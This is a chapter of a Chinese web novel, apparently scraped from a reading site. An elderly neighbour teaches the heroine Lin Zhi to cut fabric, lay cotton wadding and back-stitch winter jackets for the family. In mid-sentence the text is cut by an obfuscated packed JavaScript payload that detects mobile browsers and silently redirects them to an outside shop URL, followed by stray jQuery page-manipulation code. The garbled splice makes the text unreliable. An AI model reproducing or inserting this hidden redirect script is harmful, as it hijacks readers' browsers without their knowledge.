吃了早饭，雨势渐小，林枝把布料摊在床上，却犯了难。


    原主记忆里是会些针线活的，她也会一点，可她最多能打个补丁啥的，这么完整的布料，让她直接下手裁剪，她还真有些不敢下手。


    这些布精贵，花光了家底才买回来，是一家人过冬的根本，根本不能试错。


    林枝拿着剪子比划了半天，迟迟不敢下手。


    正发愁，院子里传来敲门声。


    林枝赶紧放下剪子正要去开门，只听外面传来二妞欢喜的声音，“小叔，二婶婶，陈大奶奶来了。”


    林枝迎出去，门外站着个头发花白的妇人，头发梳得整齐，穿着一身洗得发白的蓝布旧棉袄，面容慈祥，身上披着老蓑衣，头上戴着旧斗笠，右手拄着一根棍子，左手还挎着个篮子，里面装着的不知是菜还是什么。


    “你就是林枝丫头吧？”陈老太笑着问。


    “我是。您是陈大奶奶？快进屋来坐。”林枝点头，将饭桌旁挪了根凳子出来。


    “二丫他们叫我陈大奶奶，按照辈分，你该和二郎一起叫我一声陈大娘。”陈老太说着，慢慢走进院子，脚下还沾了稀泥，但是看得出来，鞋边在外面已经清理过，可院子里下了雨也是一地稀泥，走起路来都打滑。


    林枝看着老人家拄着根棍子走路都颤颤巍巍，都有些心惊胆战的，赶紧迎上去扶住她，顺手接过篮子，“这下雨的天路滑得很，您怎么上来了？”


    “不碍事，二郎那孩子早上来找过我，说家里要做冬衣，让我有空过来帮帮忙。今天下雨，正好得闲，就上来看有没有能帮上忙的地方。。”


    林枝愣住了。


    陆丰年……去镇上卖黄精钱竟然还去请陈大娘帮她做衣裳？


    陈大奶奶进屋前，将斗笠蓑衣取下来放在门外屋檐下，林枝领着她进屋。


    陈大奶奶见林枝床上摊着的布料和剪子，笑了：“哟，这是已经准备要裁衣裳了？咋地买了这么多布，还有这么多棉花？”


    陈大奶奶一眼就看到完整的四匹布和一大堆棉花，很是惊讶，她原以为陆家老二是心疼林枝与娘家断亲，刚进门没衣裳穿，却没想到陆家悄没生息的买了这么多布料和棉花，做一大家子的新衣裳都足够了。


    “陈大娘，不瞒您说，这些布和棉花，是将家里的钱都花了买来的，我从林家出来，就身上一身衣裳，连个替换都没有，孩子们身上，也都是几年前的旧薄袄，都不合身了，打算全部都做一身新棉袄过冬。”陆丰年既然找了陈大娘来，林枝也不藏着掖着，将自己的想法说来，“这布，我买了两匹棉布，两匹粗布，打算棉布做里面，粗布做外面。这样内里柔软，外面粗布也耐磨耐穿。


    “你是个会过日子的。这布不够啊，也是个法子。这料子都好，棉花也好，正适合。”陈老太赞许点点头，拿起布料看了看，又打量林枝的身量：“你想做啥样式的？”


    林枝顿时窘迫：“我……我不会做衣裳。”


    “不会做就学。”陈老太说得理所当然，“也不是谁生来就会的。来，我教你。”


    “做衣裳先要量尺寸，有了尺寸才能照着划线。”陈老太从自己带来的篮子里掏出一根细绳子，让林枝站直，用一根细绳量了她的肩宽、胸围、袖长，动作熟练利落。量好了尺寸，陈大奶奶拿起剪子，先在靛青粗布料子上比划着画线。


    “裁衣裳最关键就是画线，线画得准，裁出来的衣裳就合身。”她一边画一边解释，“你看，这是前片，这是后片，袖子要这样裁……因为你要做棉衣，里面还要铺棉花，尺寸要放大一些……”


    林枝凑近了看，认真记着。


    陈老太年纪虽然大，眼头却很好，手也很稳，剪子沿着画好的线走，粗布料被整齐地裁成几片，随后陈老太将粗布卷起来放在一边，又将那匹浅蓝棉布拿出来，直接将裁好的粗布片铺在棉布上，一笔一复刻剪裁出几片同样大小的棉布片。


    “若是做单衣裳，就得前后两片缝起来就成，若是做双层秋衣，可以单独将里外两层各自缝起来，再前后缝补起来，若是有棉花，在里面铺一层棉花会更暖和。


    两个大人在屋子里认真忙活，大丫二妞三宝也好奇的围在一圈，大丫学得也很认真，“大奶奶，现在裁好布是不是就要铺棉花了？”


    陈大奶奶放下剪刀，挽起袖子，笑眯眯看着大丫点头，“是啊！你这孩子学东西就是快。这做棉衣啊，最重要的是絮棉花。棉花要絮得均匀，不能这儿厚那儿薄，不然穿身上不服帖，也不暖和。”


    陈大奶奶看了看，拿起一块布做里子，铺平，然后从旁边的麻袋里捏起一撮棉花，轻轻抖开，薄薄地铺在布上。


    “要这样，一层一层，薄薄地铺。”陈大奶奶动作轻柔小心，像在对待什么珍宝，“你来试试。”


    陈老太示范性铺了一片，便拉过林枝来铺，让大丫在一旁看着。


    林枝学着陈大奶奶的样子，捏着棉花，可手却不自觉有点抖，毕竟没做过这活儿，还真是有点点紧张。


    “对，手拿稳，不要担心，就这样铺，别怕将棉花扯痛了，先铺满一层，再铺第二层。一般棉袄铺三层就够了，你们棉花多，可以铺三层，冬天也能热乎些。”


    林枝她屏住呼吸，一点一点铺，慢慢的就平静下来，动作也越来越熟练。


    “对，就是这样。”陈大奶奶满意的鼓励道，“不急，慢慢来。第一层铺好，第二层要对着第一层的缝隙补，铺平整。”


    铺好棉花，陈老太将教她将另外一块粗布叠上做面子：“里外两块布要把棉花夹在中间，先用大针脚疏疏地缝几道，把棉花固定住，不然一会儿棉花该跑了。”


    陈老太熟练的穿针引线，沿着布边缝了几针，棉花就固定住了，随后又让她将另外半片也铺好棉花，这次，陈老太让林枝自己固定。


    两片棉花铺好，陈老太就教林枝开始用细密的针


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940437|192434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脚缝，“这边缝针脚要下得细密均匀，不然棉花要从缝隙里跑出来，我教你的是回针，这种针法缝线牢固，不易脱开，做棉衣就很适合，这第一针先从布料被面穿出，然后第二针向后倒退半针……就像这样前一针，退半针，这样就是密密的针脚。”


    林枝第一次听说这个回针，感觉很神奇，缝出来像是现代缝纫机缝出来的那般，老祖宗的智慧果然无敌。


    林枝学着陈大奶奶教的针法缝，第一次缝，针脚歪歪扭扭，一针长一针短，还扎了好几次手，林枝脸都红了：“对不起，我……”


    “没事儿，头一回都这样。”陈大奶奶笑眯眯的半点没嫌弃，轻轻握住她的手，“手要稳，针要直，你看准了再下针，别再扎到手了，你看，这样……”


    她带着林枝的手缝了几针，针脚果然整齐了点。


    “对，就这样。慢慢来，不急。”


    林枝点点头，屏住呼吸，一针一针小心翼翼的缝，每一针都要试好几下，确定没扎手指上才放心穿过。开始还笨拙，缝了一段后渐渐找到了感觉，针脚虽然还不算均匀漂亮，但至少可以缝成直线。


    林枝拿着针专注的缝边，棉花蓬松，针穿过去时软绵绵的，手感很奇特，不过棉花这面倒是好下针，粗布便要吃力些，不一会林枝手指都磨得有些红。


    陈老太见状，递给她一个磨得光亮的圈圈，“这是顶针，戴着顶针会轻松些，也不容易伤到手。”


    “谢谢陈大娘。”林枝灿然一笑。


    “你先缝着，我先给几个小的量尺寸先将布裁出来。”陈大娘看林枝这般安静缝补的样子，心里一软，这孩子也是个苦命的，从林家出来，衣裳都不给她，她想先将几个小的衣裳裁一下看还有没有剩的布，再给她做一身单衣替换。


    “我也要学。”林枝放下手里的针，想先学再做，毕竟以后不能次次都麻烦陈大奶奶上门教。


    “两尺寸大概就这几个地方，肩宽、袖长……他们还是孩子，长得快，裁布的时候就要多留出三四寸，这样他们长大长高些也能多穿两年。”


    陈老太一直没有歇着，先教林枝量了大丫，随后让林枝自己量二妞，大丫在一旁看着，最后是大丫量三宝的尺寸，陆初一的还是陈老太上手，男身女身也有些微不同。


    一整套下来，林枝大丫都学会了量尺寸和画线裁布，不过也挺累的，原本下了雨山里清冷，但一直忙碌不停，倒是出了一身汗。


    陈老太也不藏私，只要他们愿意学，她教得仔细认真。


    一眨眼，便到了中午，林枝起身去做饭，虽然大丫陆初一都抢着要去，但家里来了客人，她还是坚持自己上手。


    家里没什么菜，半斤肉昨天熬了油，鸡肉昨天也吃光了，林枝现下都不知道什么家里有啥吃的能拿出手，便将前两天捡来晒得半干的菌子拿来洗干净，还有大丫他们摘的野菜。


    林枝打算做个板栗焖饭，再炒个菌子和青菜。